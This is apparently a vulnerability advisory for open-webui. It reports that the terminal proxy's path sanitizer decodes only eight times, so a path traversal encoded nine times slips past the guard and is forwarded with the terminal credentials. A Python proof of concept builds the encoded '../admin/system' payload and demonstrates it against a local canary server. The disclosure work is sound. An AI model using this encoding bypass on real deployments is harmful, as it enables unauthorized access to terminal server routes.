open-webui terminal proxy path traversal guard bypass via 9x encoded traversal

AI assistance was used to help inspect the code and prepare this report.

Summary

The fix for GHSA-r2wg-2mcr-66rv is incomplete in v0.9.6 and current main. backend/open_webui/routers/terminals.py documents _sanitize_proxy_path() as decoding until stable, but the implementation stops after 8 unquote() passes. A 9x percent-encoded ../... path parameter remains once-encoded after the loop, passes the posixpath.normpath() and cleaned.startswith('..') checks, and is forwarded to the configured terminal server. The upstream server then receives a decoded traversal path such as /base/../admin/system.

Impact

A user who has access to an admin-configured terminal connection can bypass the terminal proxy path traversal guard and cause Open WebUI to forward requests with the configured terminal credentials and X-User-Id header to paths outside the intended normalized proxy path. For orchestrator-backed terminal connections the same sanitized path is placed under /p/{policy_id}/{safe_path}, so the bypass can also target sibling or parent routes after upstream decoding. This is a bypass of the same terminal proxy boundary covered by GHSA-r2wg-2mcr-66rv.

This does not require adding a malicious terminal server or convincing an administrator to weaken settings. The attacker only needs normal access to an existing configured terminal connection.

Reproduction

The following standalone Python script mirrors the current sanitizer and uses a local aiohttp server as the terminal-server canary. It shows that 8x encoding is rejected but 9x encoding is accepted and forwarded as a traversal after the upstream framework decodes the path.

import asyncio, posixpath
from urllib.parse import unquote
from aiohttp import web, ClientSession, ClientTimeout

def sanitize(path):
    decoded = path
    for _ in range(8):
        once = unquote(decoded)
        if once == decoded:
            break
        decoded = once
    cleaned = posixpath.normpath(decoded).lstrip('/')
    if cleaned.startswith('..') or cleaned == '.':
        return None
    return cleaned

def enc(s, rounds):
    out = ''.join(f'%{b:02X}' for b in s.encode())
    for _ in range(rounds - 1):
        out = out.replace('%', '%25')
    return out

async def main():
    async def handler(request):
        return web.json_response({'raw_path': request.raw_path, 'path': request.path})
    app = web.Application()
    app.router.add_route('*', '/{tail:.*}', handler)
    runner = web.AppRunner(app)
    await runner.setup()
    site = web.TCPSite(runner, '127.0.0.1', 0)
    await site.start()
    port = site._server.sockets[0].getsockname()[1]

    for rounds in (8, 9):
        safe = sanitize(enc('../admin/system', rounds))
        print(rounds, safe)
        if safe:
            url = f'http://127.0.0.1:{port}/base/{safe}'
            async with ClientSession(timeout=ClientTimeout(total=10)) as session:
                async with session.get(url) as response:
                    print(await response.json())
    await runner.cleanup()

asyncio.run(main())